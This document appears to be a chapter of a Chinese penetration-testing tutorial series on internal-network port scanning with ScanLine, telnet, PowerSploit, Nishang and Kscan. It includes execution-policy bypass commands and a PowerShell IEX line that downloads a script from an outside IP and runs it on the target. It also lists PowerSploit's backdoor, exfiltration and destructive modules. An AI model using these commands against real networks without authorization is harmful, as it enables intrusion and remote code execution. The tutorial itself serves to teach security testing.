系列文章第一章节之基础知识篇
内网渗透(一)之基础知识-内网渗透介绍和概述
内网渗透(二)之基础知识-工作组介绍
内网渗透(三)之基础知识-域环境的介绍和优点
内网渗透(四)之基础知识-搭建域环境
内网渗透(五)之基础知识-Active Directory活动目录介绍和使用
内网渗透(六)之基础知识-域中的权限划分和基本思想
内网渗透(七)之基础知识-企业常见安全域划分和结构
内网渗透(八)之基础知识-企业域中计算机分类和专业名
系列文章第二章节之内网信息收集篇
内网渗透(九)之内网信息收集-手动本地信息收集
内网渗透(十)之内网信息收集-编写自动化脚本收集本地信息
内网渗透(十一)之内网信息收集-内网IP扫描和发现
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!
内网端口扫描技术
通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的涌洞、分析目标网络的拓扑结构等, 在进行内网渗测试时,通常会使用Metasploit内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。还可以根据服务器的环境,使用自定义的端口扫描脚本进行扫描。在获得授权的情况下,可以直接使用Nmap、masscan等端口扫描工具获取开放的端口信息。
ScanLine扫描端口
ScanLine是一款windows下的端口扫描的命令行程序。它可以完成PING扫描、TCP端口扫描、UDP端口扫描等功能。运行速度很快,不需要winPcap库支持,应用场合受限较少。
使用语法:
scanline.exe ‐bhpt 21‐23,25,80,110,135‐139,143,443,445,1433,1521,3306,3389,5556,5631,5900,8080 100.100.0.39
scanline.exe ‐bhpt 80,443 100.100.0.1‐254(IP)
scanline.exe ‐bhpt 139,445 IP
‐? ‐ 显示此帮助文本
‐b ‐ 获取端口横幅
‐c ‐ TCP 和 UDP 尝试超时(毫秒)。 默认值为 4000
‐d ‐ 扫描之间的延迟(毫秒)。 默认为 0
‐f ‐ 从文件中读取 IP。 使用“stdin”作为标准输入
‐g ‐ 绑定到给定的本地端口
‐h ‐ 隐藏没有开放端口的系统的结果
‐i ‐ 除了 Echo 请求之外,用于 ping 使用 ICMP 时间戳请求
‐j ‐ 不要在 IP 之间输出“‐‐‐‐‐...”分隔符
‐l ‐ 从文件中读取 TCP 端口
‐L ‐ 从文件中读取 UDP 端口
‐m ‐ 绑定到给定的本地接口 IP
‐n ‐ 不扫描端口 ‐ 仅 ping(除非您使用 ‐p)
‐o ‐ 输出文件(覆盖)
‐O ‐ 输出文件(追加)
‐p ‐ 扫描前不要 ping 主机
‐q ‐ ping 超时(毫秒)。 默认值为 2000
‐r ‐ 将 IP 地址解析为主机名
‐s ‐ 以逗号分隔格式输出 (csv)
‐t ‐ 要扫描的 TCP 端口(以逗号分隔的端口/范围列表)
‐T ‐ 使用 TCP 端口的内部列表
‐u ‐ 要扫描的 UDP 端口(以逗号分隔的端口/范围列表)
‐U ‐ 使用 UDP 端口的内部列表
‐v ‐ 详细模式
‐z ‐ 随机化 IP 和端口扫描顺序
Telnet扫描端口
Telnet协议是TCP/IP协议族的一员,是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用Telnet协议,可以与目标服务器建立连接。如果只是想快速探测某台主机的某个常规高危端口是否开放,使用telnet命令是最方便的,当然对大批量端口扫描的就非常不合适了,毕竟一个一个扫,还是太慢了
一般新安装的电脑都是没有安装telnet服务的,我们需要进行如下设置
1、打开设置,找到应用。
2、选择可选功能,滑动到最下面,找到 更多Windows功能,勾选telnet客户端即可
使用语法:
telnet + IP+端口
RedTeamTool扫描端口
RedTeamTool中有一个本地端口扫面的工具
使用语法:
portscanx64 10000
PowerSpioit扫描端口
PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等
下载地址:PowerSpioit下载
PowerSpioit中有这么几个模块
ActivirusBypass:发现杀毒软件的查杀特征
CodeExecution:在目标主机上执行代码
Exfiltration:目标主机上的信息搜集工具
Mayhem:蓝屏等破坏性的脚本
Persistence:后门脚本
Privsec:提权等脚本
Recon:以目标主机为跳板进行内网信息侦查
ScriptModification:在目标主机上创建或修改脚本
计算机上启动 Windows PowerShell 时, 默认执行策略是 Restricted,Restricted 执行策略不允许任何脚本运行
所以修改为remotesigned执行策略就可以了:
1、打开PowerShell 然后输入 Get-executionpolicy(查询其策略状态)
2、以管理员身份打开PowerShell 输入 Set-executionpolicy remotesigned(修改为remotesigned状态即可执行脚本)
本地执行使用语法:
powershell ‐exec bypass Import‐Module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80'
远程执行使用语法:
我们在我们的代理服务器上开启HTTP服务端口:
python -m http.server 80 开启http服务
然后在远程服务器上放PowerSpioit脚本,然后目标机器上运行如下语句远程执行脚本命令
powershell ‐exec bypass ‐c IEX (New‐Object System.Net.Webclient).DownloadString('http://118.178.134.226:8080/Invoke‐Portscan.ps1');import‐module .\Invoke‐Portscan.ps1;Invoke‐Portscan ‐Hosts 192.168.41.0/24 ‐T 4 ‐ports '445,8080,3389,80'
Nishang扫描端口
Nishang是一款针对PowerShell的渗透工具。说到渗透工具,那自然便是老外开发的东西。国人开发的东西,也不是不行,只不过不被认可罢了。不管是谁开发的,既然跟渗透有关系,那自然是对我们有帮助的,学习就好。来源什么的都不重要。总之,nishang也是一款不可多得的好工具,非常的好用。
下载地址:Nishang下载地址
这篇文章请大家一定要阅读,对于使用Nishang有很大帮助Nishang的详细使用教程
使用语法:
Set‐ExecutionPolicy remotesigned 允许导入
Import‐Module .\nishang.psm1 导入模块
Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.21 ‐ResolveHost 扫描
powershell ‐command "& { import‐module .\nishang\nishang.psm1; Invoke‐PortScan ‐StartAddress 192.168.41.1 ‐EndAddress 192.168.41.255 ‐ResolveHost }
Kscan扫描端口
使用语法:
kscan_windows_amd64.exe -t 192.168.42.131 -p 1-65535
常见端口服务
文件共享服务端口
远程连接服务端口
Web 应用服务端口
数据库服务端口
邮件服务端口
网络常见协议端口
特殊服务端口